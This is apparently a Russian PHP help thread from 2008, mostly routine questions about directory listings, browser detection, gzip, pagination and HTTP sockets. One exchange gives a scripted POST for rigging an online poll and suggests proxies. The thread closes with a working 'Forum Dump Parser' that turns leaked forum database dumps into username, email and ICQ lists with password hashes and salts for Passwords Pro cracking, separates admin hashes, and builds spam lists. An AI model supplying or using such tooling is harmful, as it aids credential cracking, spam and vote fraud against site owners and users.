print"<img src='$file' style='border:dotted 1 silver;width:150;height:130;'></a>\n";
print"</th><th>".$file."\n<br></th></tr></table>\n";
}
}
}
closedir($handle);
}
?>

Вопрос Как сделать чтобы ещё папки отображались?

life_is_shit
19.03.2008, 02:49
$listok='index.php';


if ($handle = opendir('./'))
{

echo "Ваши файлы:<BR><BR>";
while (false !== ($file = readdir($handle)))
{
if(is_file($file))
{
if($file!=$listok and $file!='style.css')
{
print"<table align='center' style='font-size:13;font-family:Comic Sans MS;width:300;height:200;border:solid black 1;'>\n";
print"<tr><th style='width:150px;'>\n";
print"<A HREF='$file' target='blank'>\n";
print"<img src='$file' style='border:dotted 1 silver;width:150;height:130;'></a>\n";
print"</th><th>".$file."\n<br></th></tr></table>\n";
}
}
else
print $file.'<br>';
}
closedir($handle);
}
?>

попробуй так к примеру, если я правильно тебя понял.

i_am_banana
19.03.2008, 02:53
угу...терь папки отображаются....тока в них нельзя зайти -)

life_is_shit
19.03.2008, 02:57
вместо print $file.'<br>';
попробуй написать print '<a href="'.$file.'">'.$file.'</a><br>';

presidentua
19.03.2008, 03:58
Немного не в тему, но всеже. Как в МуСкуле написать в запросе ЛАЙК, чтобы спецсимволы не воспринимались как спецсимволы, тоесть такие как % _ и другие

life_is_shit
19.03.2008, 04:18
\% Соответствует одному символу `%'
\_ Соответствует одному символу `_'
и тд

Isis
19.03.2008, 08:19
2 presidentua,

<?php
$str = 'Ya_xeker???%)))_))';
$str = str_replace(array('_', '%'), array('\_','\%'), $str);
$query = mysql_query("SELECT * FROM `table` WHERE `xek` LIKE '%".$str."%'");
//etc....
?>

Timati
19.03.2008, 09:03
посоветуйте что нибудь для новичка почитать

-=lebed=-
19.03.2008, 09:05
посоветуйте что нибудь для новичка почитать
http://php.su - не плохой сайт, сам честенько туда заглядываю...

temp_late
19.03.2008, 20:22
Нуждаюсь в помощи, нужно определить версию браузера и операционной системы в отдельных переменых словно как делает в функции:
get_browser('browser');
но она не подходит, не на всех веб хостингах она используется, точнее я еще не один не встретил...

можно попробовать про парсировать $_SERVER['HTTP_USER_AGENT'];
но я не особо владею языком регулярных выражений.

Мне нужно что бы возращало браузер и версию операционной системы, даже если запрос будет поделан например в место ос будет написано слово из трех букв..

astrologer
19.03.2008, 20:29
Нуждаюсь в помощи, нужно определить версию браузера и операционной системы в отдельных переменых словно как делает в функции:
get_browser('browser');
но она не подходит, не на всех веб хостингах она используется, точнее я еще не один не встретил...

можно попробовать про парсировать $_SERVER['HTTP_USER_AGENT'];
но я не особо владею языком регулярных выражений.

Мне нужно что бы возращало браузер и версию операционной системы, даже если запрос будет поделан например в место ос будет написано слово из трех букв..Если запрос будет подделан, то ничего не выйдет. Нельзя быть уверенным даже в том, что запрос вообще исходил от браузера. Это может быть такой же php-скрипт.

temp_late
19.03.2008, 20:44
Хочу написать скрипт статистики посещаемости, под какими браузерами и под какими системами пользователи бывают на сайте, при обнаружение например нового браузера которого нету в базе статистике, он дабавляется туда.

Piflit
19.03.2008, 21:04
можно взять из любого пака

D Mak
19.03.2008, 22:52
Хочу написать скрипт статистики посещаемости, под какими браузерами и под какими системами пользователи бывают на сайте, при обнаружение например нового браузера которого нету в базе статистике, он дабавляется туда.
я от лица всего ачата разрешаю сделать это :)

life_is_shit
20.03.2008, 00:24
Хочу написать скрипт статистики посещаемости, под какими браузерами и под какими системами пользователи бывают на сайте, при обнаружение например нового браузера которого нету в базе статистике, он дабавляется туда.

так те помощь нужна, если да то конкретнее в чем помочь? или это констатация факта?)

scrat
20.03.2008, 00:28
посоветуйте что нибудь для новичка почитать
http://phpclub.ru/

.:EnoT:.
20.03.2008, 02:10
так те помощь нужна, если да то конкретнее в чем помочь? или это констатация факта?)
ага, решил поделиться самыми откровенными мечтами))

по сабжу:
$agent = htmlspecialchars(stripslashes(getenv("HTTP_USER_AGENT")));
if (strpos($agent, "MSIE") == true)
{
$brodilka = 'IE';
}
elseif(strpos($agent, "Opera") == true)
{
$brodilka = 'Opera';
}
elseif(strpos($agent, "Firefox") == true)
{
$brodilka = 'Firefox';
}
elseif(....) #Другие браузеры
else
{
$brodilka = '...'; #Берём название браузера (хз как правда)
}
$sql = mysql_query("SELECT * FROM `table` WHERE `colnum_name` = '".$brodilka."'");
if(mysql_num_rows($sql) == 0)
{
#Добавляем новый браузер
mysql_query("INSERT INTO `table` VALUE(.....)");
}


Короче потипу того. Дальше сам))
А уж статистику писать эт как нефиг делать) Если трудности то бери любо скрипт и смотри как там сделано))

astrologer
20.03.2008, 03:09
ага, решил поделиться самыми откровенными мечтами))

по сабжу:
$agent = htmlspecialchars(stripslashes(getenv("HTTP_USER_AGENT")));
if (strpos($agent, "MSIE") == true)
{
$brodilka = 'IE';
}
elseif(strpos($agent, "Opera") == true)
{
$brodilka = 'Opera';
}
elseif(strpos($agent, "Firefox") == true)
{
$brodilka = 'Firefox';
}
elseif(....) #Другие браузеры
else
{
$brodilka = '...'; #Берём название браузера (хз как правда)
}
$sql = mysql_query("SELECT * FROM `table` WHERE `colnum_name` = '".$brodilka."'");
if(mysql_num_rows($sql) == 0)
{
#Добавляем новый браузер
mysql_query("INSERT INTO `table` VALUE(.....)");
}


Короче потипу того. Дальше сам))
А уж статистику писать эт как нефиг делать) Если трудности то бери любо скрипт и смотри как там сделано))
strpos('Opera/9.50 (Windows NT 5.1; U; en)', 'Opera') == 0

Piflit
20.03.2008, 07:44
из мпака 0.91
function detect_browser($HTTP_USER_AGENT) {
// Браузер и его версия
if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $HTTP_USER_AGENT, $match) || eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Opera";
$browser[version] = $match[2];
}
elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Konqueror";
$browser[version] = $match[2];
}
elseif (eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Lynx";
$browser[version] = $match[2];
}
elseif (eregi("(links) \(([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Links";
$browser[version] = $match[2];
}
elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "MSIE";
$browser[version] = $match[2];
}
elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Netscape";
$browser[version] = $match[2];
}
elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Netscape(mozilla)";
$browser[version] = $match[2];
if (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Firefox";
$browser[version] = $match[2];}


}
else {
$browser[name] = "Unknown";
$browser[version] = "Unknown";
}

// OS
if (eregi("linux", $HTTP_USER_AGENT)) $browser[os] = "Linux";
elseif (eregi("win32", $HTTP_USER_AGENT)) $browser[os] = "Windows";
elseif ((eregi("(win)([0-9]{2})", $HTTP_USER_AGENT, $match)) || (eregi("(windows) ([0-9]{2})", $HTTP_USER_AGENT, $match))) $browser[os] = "Windows ".$match[2];
elseif (eregi("(winnt)([0-9]{1,2}.[0-9]{1,2}){0,1}", $HTTP_USER_AGENT, $match)) $browser[os] = "Windows NT ".$match[2];
elseif (eregi("(windows nt)( ){0,1}([0-9]{1,2}.[0-9]{1,2}){0,1}", $HTTP_USER_AGENT, $match)) $browser[os] = "Windows NT ".$match[3];
elseif (eregi("mac", $HTTP_USER_AGENT)) $browser[os] = "Macintosh";
elseif (eregi("freebsd", $HTTP_USER_AGENT)) $browser[os] = "FreeBSD";
else $browser[os] = "Unknown";
if (eregi("(sv1)", $HTTP_USER_AGENT)) $browser[os] = "Windows NT 5.1 SP2";

return $browser;
}

anakreon
20.03.2008, 09:41
Здравствуйте.
Есть web-сервер
Есть сервер базы данных oracle на соседней машине
Как можно организовать подключение к базе?

-=lebed=-
20.03.2008, 13:18
Как заархивировать файл, используя системный вызов, так как параметр max_execution_time = 30 не позволяет отработать скрипту до конца. (его поменять нельзя)
$handle_in = fopen("file.txt", "r");
$handle_out = gzopen("file.gz", "w")
while (!feof($handle_in)) // пока не достигнут конец файла архивируем файл
{
$buffer = fgets($handle_in);
gzwrite($handle_out,$buffer);
}
fclose($handle_in); // закрываем файл (источник)
gzclose ($handle_out); // закрываем архивный файл (приёмник)
- если файл источник большой - то скрипт не успевает отработать до конца файла.

PS Linux 2.6.9-55.0.12

krypt3r
20.03.2008, 14:01
А почему fwrite, а не gzwrite, gzputs?

-=lebed=-
20.03.2008, 14:03
А почему fwrite, а не gzwrite, gzputs?
Угу, согласен - ошибка, конечно gzwrite, исправил, но в 30 сек неукладывается...

krypt3r
20.03.2008, 15:05
$ wc -lc file.txt
13713242 154744102 file.txt
$ cat php gzopen.php

<?php
$handle_in = fopen("file.txt", "r");
$handle_out = gzopen("file.gz", "w");
while (!feof($handle_in)) // пока не достигнут конец файла архивируем файл
{
$buffer = fgets($handle_in);
gzwrite($handle_out,$buffer);
}
fclose($handle_in); // закрываем файл (источник)
gzclose ($handle_out); // закрываем архивный файл (приёмник)
?>

$ time php gzopen.php
real 1m27.121s
user 1m22.449s
sys 0m1.588s
$ cat gzopen2.php

<?php
$max_size = memory_get_usage () * 0.8;
$handle_in = fopen("file.txt", "r");
$handle_out = gzopen("file.gz", "w");
while (!feof($handle_in)) // пока не достигнут конец файла архивируем файл
{
$buffer = fread ($handle_in, $max_size);
gzwrite($handle_out,$buffer);
}
fclose($handle_in); // закрываем файл (источник)
gzclose ($handle_out); // закрываем архивный файл (приёмник)
?>

$ time php gzopen2.php
real 0m36.477s
user 0m34.346s
sys 0m1.016s
$

-=lebed=-
20.03.2008, 15:56
------------------------
$max_size = memory_get_usage () * 0.8;
----------------------

Поясни плиз, почему коэффицент именно 0.8 ?

krypt3r
20.03.2008, 16:04
Я разные подставлял, этот был последним)

!{ra!{e/\/
20.03.2008, 17:11
Хочу накрутить голосование
POST http://ххххх.ru/ххх/хх/ххх/vote.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Host: хххххххх.ru
Content-Length: 16
Pragma: no-cache
Connection: Keep-Alive

form%5Bgirl%5D=1

это запрос отправляемый моим браузером при голосовании....
как мне написать php код.....

так?
<?
if ( ( $io = fsockopen( "www.ххххх.ru", 80, $errno, $errstr, 5 ) ) !== false )
{
$send = "POST http://ххххх.ru/хххх/ххх/ххх/vote.php HTTP/1.0\r\n";
$send .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$send .= "Accept-Language: ru\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Host: ххххх.ru\r\n";
$send .= "Content-Length: 16\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Connection: Keep-Alive\r\n\r\n";
$send .= "form%5Bgirl%5D=1";

fputs ( $io, $send );
}
else echo "НЕ могу подключится";

?>

вроди бы все правильно(((
пишет ошибку
Warning: fsockopen() [function.fsockopen]: unable to connect to www.ххххх.ru:80 (Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера. ) in Z:\home\localhost\www\vike_flood.php on line 2
НЕ могу подключится
Из за чего может быть моя ошибка?

NOmeR1
20.03.2008, 17:29
2!{ra!{e/\/
Там же написано: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера.

.:EnoT:.
20.03.2008, 17:36
5вообще маловато будет =\
Вообще я бы сделал типо того:
<?php
$io = fsockopen("ххххх.ru", 80, $errno, $errstr, 30);
if ($io)
{
$send = "POST http://ххххх.ru/хххх/ххх/ххх/vote.php HTTP/1.0\r\n";
$send .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$send .= "Accept-Language: ru\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Host: ххххх.ru\r\n";
$send .= "Content-Length: 16\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Connection: Keep-Alive\r\n\r\n";
$send .= "form%5Bgirl%5D=1";

fwrite($io, $send);
while (!feof($io))
{
$line = fgets($io, 1024);
echo $line.'<br/>';
}
fclose($io);

}
else
{
echo "НЕ могу подключится";
}

?>
но для накрутки имхо лучше с проксями. Или Номерадин щас скажет что я опять не в теме?))))

AlexV
21.03.2008, 12:08
Приветствую Всех! Извините, я пока ламер в вопросах веб-програмирования - и хотел бы поинтересоваться:
1_Хочу создать свой форум на phpbb 3 - движок уже есть, хост есть, там фтп-ка, как туда залить!? File-zilla подойдет!? Как там настроить права админа - т.е. сначала надо в движке все редактировать или же после того как залью - можно будет с ним работать!? как правильно устанавливать скрипты!? Опять же через фтп заливку или там будет доступно!?
2_А если я хочу создать сайт на другом хостинге, там тоже фтп-заливка - что для этого нужно!? Какой движок использовать!?
Хм... вроде пока все.

ToniKapuchon
21.03.2008, 12:20
1. Настраиваешь ftp клиент.. пишешь, там логин и пароль... заливаешь всю папку со скриптами... потом идёшь.... на что-то типа instal.php!! указываешь там данные базы, полученные от хостера, всё admin.php! Напиши хостинг, что-ли... narod.ru?
2. Движок для сайта - тут где то есть обзор на форуме платных и бесплатных кмс... выбирай любую!!

~X3RiX~
21.03.2008, 14:01
и не забудь удалить install.php

Phm.phx
21.03.2008, 17:17
Напиши хостинг, что-ли... narod.ru?


насчет хостинга скорее всего будет locallhost если БД на том же хосте находится.

по поводу FTP лучше все-таки использовать cuteFTP

и последний,чисто коммерческий совет: размещать форум где нибудь на yourdomain.ru/forum или forum.yourdomain.ru
т.е. в графе "путь_к_форуму" обозначать не главную страницу, а не просто yourdomain.ru

и самое главное на файл config.php установить права доступа (chmod) 444 или 676

Painkiller
22.03.2008, 00:34
Всем привет!
Хотелось бы увидеть мнения по навигации для заметок из базы желательно простой как три рубля. (и с комментами по ходу кода)
Заметок из базы выводится на страницу по 3 штуки .
вид примерно хотелось бы видеть такой:
пред 1 2 3 последняя

Dimi4
22.03.2008, 00:58
Постраничная навигация на файлах

Автор: IT-студия SoftTime (softtime.ru)

Скрипт предназначен отображения определённого числа позиций из файла и генерации ссылок на следующие позиции. Пусть имеется файл text.txt следующего формата.
Файл данных text.txt

1 Программирование

2 Программирование на PHP

3 Программирование на JavaScript

4 Программирование на ASP.NET

5 Программирование на Java

6 Программирование на Perl

7 Программирование на C++

8 Программирование на Pascal

9 Программирование на Fortran

10 Программирование на Assembler

Тогда скрипт, выводящий по три позиции на странице может выглядеть так, как это представлено ниже

Постраничная навигация

<?php

// Имя файла

$filename = "text.txt";

// Число позиций на странице

$pnumber = 3;

// Открываем файл для чтения

$bufer = file_get_contents($filename);



// Находим все строки при помощи регулярного выражения

preg_match_all("#([\d]+) ([^\n]+)(\n|$)#U",

$bufer,

$out,

PREG_PATTERN_ORDER);

// Формируем промежуточный массив

for($i = 0; $i < count($out[1]); $i++)

{

$temp[] = trim($out[2][$i]);

}



// Проверяем передан ли номер текущей страницы

if(isset($_GET['page'])) $page = $_GET['page'];

else $page = 1;

// Число страниц

$total = count($temp);

$number = (int)($total/$pnumber);

if((float)($total/$pnumber) - $number != 0) $number++;



$start = (($page - 1)*$pnumber + 1);

$end = $page*$pnumber + 1;

if($end > $total) $end = $total;



// Выводим содержимое страниц

for($i = $start; $i < $end; $i++)

{

echo $temp[$i]."<br>";

}



// Постраничная навигация

for($i = 1; $i <= $number; $i++)

{

// Если это произвольная страница

if($i != $number)

{

if($page == $i)

{

echo "[".(($i - 1)*$pnumber + 1)."-".$i*$pnumber."]&nbsp;";

}

else

{

echo "<a href=$_SERVER[PHP_SELF]?page=".$i.">[".

(($i - 1)*$pnumber + 1)."-".$i*$pnumber."]</a>&nbsp;";

}

}

// Если это последняя страница заменяем последнюю цифру

// максимальным числом позиций в массиве $temp

else

{

if($page == $i)

{

echo "[".(($i - 1)*$pnumber + 1)."-".($total - 1)."]&nbsp;";

}

else

{

echo "<a href=$_SERVER[PHP_SELF]?page=".$i.">[".

(($i - 1)*$pnumber + 1)."-".($total - 1)."]</a>&nbsp;";

}

}

}

?>

_http://php.su/articles/?cat=examples&page=057

RedBull@12
22.03.2008, 04:20
всем привет.
возникла немного не понятная проблема.
скрипт выполняет некоторые действия и посылает запросы POST/GET.
POST работает на УРА!
а вот GET творит что-то не понятное, при запуске выполняет все действия, но думает минимум 10-20 секунд. вот функция POST запроса
function post($address,$request,$cookies,$referer) {
global $host,$port,$user_agent,$login,$pass;
$hash = "";
$fsite = fsockopen($host,$port,$error_number,$error_descrip tion,10);
$ffile = fopen("hash","w+");
if ($fsite) {
stream_set_blocking($fsite,FALSE);
fputs($fsite,"POST $address HTTP/1.1\r\n");
fputs($fsite,"Accept-Language: ru\r\n");
fputs($fsite,"Content-Type: application/x-www-form-urlencoded\r\n");
fputs($fsite,"Host: $host\r\n");
fputs($fsite,"Referer: $referer\r\n");
fputs($fsite,"Cookie: $cookies\r\n");
fputs($fsite,"User-Agent: $user_agent\r\n");
fputs($fsite,"Proxy-Connection: Keep-Alive\r\n");
fputs($fsite,"Content-Length: ".strlen($request)."\r\n");
fputs($fsite,"\r\n");
fputs($fsite,"$request\r\n");
fputs($fsite,"\r\n");
$i = 0;
while (!feof($fsite)) {
$hash_test = fgets($fsite, 1024);
fputs($ffile,$hash_test);
$i++;
}
fclose($fsite);
return 1;
}
}
а вот GET функция
function get($address,$cookies,$referer) {
global $host,$port,$user_agent,$login,$pass;
$hash = "";
$fsite = fsockopen($host,$port,$error_number,$error_descrip tion,10);
$ffile = fopen("hash","w+");
if ($fsite) {
stream_set_blocking($fsite,FALSE);
fputs($fsite,"GET $address HTTP/1.1\r\n");
fputs($fsite,"Accept-Language: ru\r\n");
fputs($fsite,"Content-Type: application/x-www-form-urlencoded\r\n");
fputs($fsite,"Host: $host\r\n");
fputs($fsite,"Referer: $referer\r\n");
fputs($fsite,"Cookie: $cookies\r\n");
fputs($fsite,"User-Agent: $user_agent\r\n");
fputs($fsite,"Proxy-Connection: Keep-Alive\r\n");
fputs($fsite,"\r\n");
$i = 0;
while (!feof($fsite)) {
$hash_test = fgets($fsite, 1024);
fputs($ffile,$hash_test);
$i++;
}
fclose($fsite);
return 1;
}
}причем когда смотрю по времени создания hash файла я понимаю что скрипт уже все сделал...но при этом висит..и в ответ либо выдает нужный мне ерзультат но с большим опозданием, либо вообще ничего. как будет-то скрипт прирывается по функции exit(); хотя данной функции вообще ни в одном скрипте нету.

echobyte
22.03.2008, 06:02
возникла немного не понятная проблема.
GET есть ограниченый метод, забей на него

Painkiller
22.03.2008, 06:35
Dimi4
Спасибо попытаюсь адаптировать для базы.

Isis
22.03.2008, 06:39
<?php
fputs($fsite,"Content-Type: text/html\r\n");
?>
А вообще пора бы учиться отлаживать скрипты...

k1b0rg
22.03.2008, 10:41
function post($address,$request,$cookies,$referer) {
global $host,$port,$user_agent,$login,$pass;

а вот разработчики наверное зря парились реализовывая ооп....

RedBull@12
22.03.2008, 12:07
так кто-нибудь может объяснить в чем проблема?get есть ограниченый метод, забей на негоон мне необходим поэтому нельзя пропускать его.
то что написал Isis я сделал, но от этого легче не стало. все тоже самое

~X3RiX~
22.03.2008, 17:08
при запуске выполняет все действия, но думает минимум 10-20 секунд

добавь fputs($fsite,"Connection: close\r\n\r\n");

все теперь заработает!

Terray
22.03.2008, 18:43
Подскажите пожалуйста, можно ли сформировать функцию, которая могла бы проверять в переменной слова на ошибки. Да и вообще текст. Возможно ли такое сотворить? Опять таки я в этом деле новичек так что не кидайте грязью если что =)

~X3RiX~
22.03.2008, 18:59
можно но сложно

desTiny
22.03.2008, 19:10
Подскажите пожалуйста, можно ли сформировать функцию, которая могла бы проверять в переменной слова на ошибки. Да и вообще текст. Возможно ли такое сотворить? Опять таки я в этом деле новичек так что не кидайте грязью если что =)
Словарь языка с хорошей индексацией + правила языка... В ворде так вроде?:)

А ещё и нейросеть хорошо бы приплести... В общем, не думай об этом...

Terray
22.03.2008, 19:26
Словарь языка с хорошей индексацией + правила языка... В ворде так вроде?:)

А ещё и нейросеть хорошо бы приплести... В общем, не думай об этом...
Да.. это слишком :D

Micr0b
22.03.2008, 21:51
вопросик такой, как осущиствлить проверкуфайлов на вирусы с помошю веб-програминга, не знаю можно ли на пхп зделать... но всетаки думаю спрошу здесь...
мне так кажеца что реализацыя должна быть на перле.. если есть такаято инфа по етому поводу буду очень рад)

desTiny
22.03.2008, 23:02
вопросик такой, как осущиствлить проверкуфайлов на вирусы с помошю веб-програминга, не знаю можно ли на пхп зделать... но всетаки думаю спрошу здесь...
мне так кажеца что реализацыя должна быть на перле.. если есть такаято инфа по етому поводу буду очень рад)
Отсылаешь файл на вирустотал, получаешь результат, выводишь на страницу...

Micr0b
22.03.2008, 23:21
нее так не канает... мне саму проверку как осуществить..

ToniKapuchon
23.03.2008, 00:01
без шансов...! эт ты типа хочешь написать касперского на перле....я правильно понял?

~X3RiX~
23.03.2008, 00:03
как осущиствлить проверкуфайлов на вирусы с помошю веб-програминга, не знаю можно ли на пхп зделать...

если это... (http://www.unix.org.ua/bach/glava_70.htm)
тогда (http://www.hackerdom.ru/Doklad?show_comments=1)

:rolleyes:

BBG2
23.03.2008, 01:44
что за скрипт? ПЕРЛ или ПХП
И как его запустить

<?

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*
/* Forum Dump Parser v0.2 (FDPv0.2)
/* by Re@ctor
/* http://truenet.net.ru/security/
/*
/*
/* Скрипт предназначен для частного использования и позволяет
/* привести имеющиеся дампы баз данных в единый удобный формат для
/* дальнейшего анализа в программе Passwords Pro, либо просто
/* в списки для других программ.
/*
/* Скрипт запрещается использовать в корыстных целях и автор не
/* несёт ответственности за возможный ущерб, причинённый от исполь-
/* зования данного скрипта.
/*
/* Скрипт запрещается использовать в противозаконных целях, либо
/* целях, ведущих к умышленному или неумышленному нарушению законода-
/* тельства Российской Федерации.
/*
/* Хорошего дня и доброго насроения! ;-)
/* Помните про существование TrueNET! =)
/*
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

###### 1. выходной формат файлов ######
# для брута, формат Passwords Pro
#$sort = array('username','password','salt'); # пользователи
#$sort = array('email','password','salt'); # мыльники
$sort = array('icq','password','salt'); # аськи
# помните, что формат PPro - имя:хэш:сальт:расшифр.парол ь:комментарий
# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
# будет воспринято неверно программой.

# просто базы
#$sort = array('email'); # e-mail
#$sort = array('icq'); # icq

###### 2. формирование строк ######
$delim = "¤"; # разделитель между значениями
$br = "\n"; # чем заканчивать строку (\n - перенос строки)

###### 3. промежуточный вывод ######
$makefiles = 1; # делать ли отдельные файлы для каждого дампа
$ext = "txt"; # расширение выходного файла этих файлов

###### 4. параметры сбора информации ######
$site = 1; # если $makefiles = 0;, то получать сведения о сайте
# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
# ( удобно при составлении тематических спам-баз )
# формат файла должен быть префиксАДРЕС_САЙТАрасшире ие, где префикс и расширение любые
$site_prefix = ''; # если $site=1, указать префикс файлов
$site_ext = '.sql'; # если $site=1, указать расширение файлов
$convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)

###### 5. общий файл с данными ######
$hashmake = 1; # делать ли единый файл со всеми хэшами
$hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами

###### 6. выборка из дампов админов в отдельный файл ######
$admins = 1; # сделать файл с хэшами админов дампов
$admin_pass = 'password'; # имя ячейки с хэшем пароля
$admin_salt = 'salt'; # имя ячейки с салом пароля
$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
$admin_filename = '!admin.PasswordsPro.Hashes';

###### 7. (WARNING!) имя первой ячейки в таблице ######
$firstintable = 'userid'; # название первой ячейки в таблице (важно!)

ini_set("max_execution_time","86400");
set_time_limit(0);

function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
function koi($txt) { return convert_cyr_string($txt,'k','w'); }
function iso($txt) { return convert_cyr_string($txt,'i','w'); }
function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }

$d=opendir('.');
while(($e=readdir($d))!=false) {
if($e=='.'||$e=='..'||$e==$admin_filename||$e==$ha sh_filename||$e==$argv[0]) continue;
if(is_file($e)) {
if($makefiles==1)$f = fopen("$e.$ext","w+");
echo "[+] $e (".filesize($e)." bytes)\n";
$file = file($e);

foreach($file as $a) {
$tmp = explode(' ',$a); $tablesuf=$tmp[1];
if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
foreach(array_unique(array_merge($sort,$admin_comm ent)) as $s) {
if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
}
if(!$y) $vars[]='b'; else unset($y);
if(strstr($a,'PRIMARY KEY')) break;
}

foreach($file as $a) {
if(strstr($a,"INSERT INTO")) {
$tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
$values = explode(',',$tmp);
foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
foreach($sort as $s) {
if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
if($admins==1&&$hashmake==0&&$makefiles==0) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
$admok=1;
} else {
if($s==$v['name']) {
if($s=='salt') $tm[] = checksalt(make($m[$v['num']]));
else $tm[] = make($m[$v['num']]);
}
if($admins==1&&!$admok) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
}
}
}
if($admok==1) break; $admok=2;
}
if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comm ent,', ');
unset($tr); unset($m); unset($tm); unset($comment);
if($admok==1) break;
}
}
if($makefiles==1) {
if($site==1) {
$host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
echo "[:] connecting to $host..\n";
$fp = fsockopen($host,80,&$errno,&$errstr,5);
if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
while(!feof($fp)) {
$tmp=fgets($fp,1000);
if(preg_match("'charset='i",$tmp)||!$schar) {
$ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
if(preg_match("'koi8-r'i",$ch)) $koi=1;
elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1;
}
elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) {
$title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
echo "[:] TITLE ok..\n";
}
elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
$kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] KEYWORDS ok..\n";
}
elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
$descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] DESCRIPTION ok..\n";
}
elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
}
fclose($fp);
if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
$info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords='';
}
echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
}
unset($vars); unset($file); unset($towrite); unset($admok);
}
}
if($hashmake==1) { echo " sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
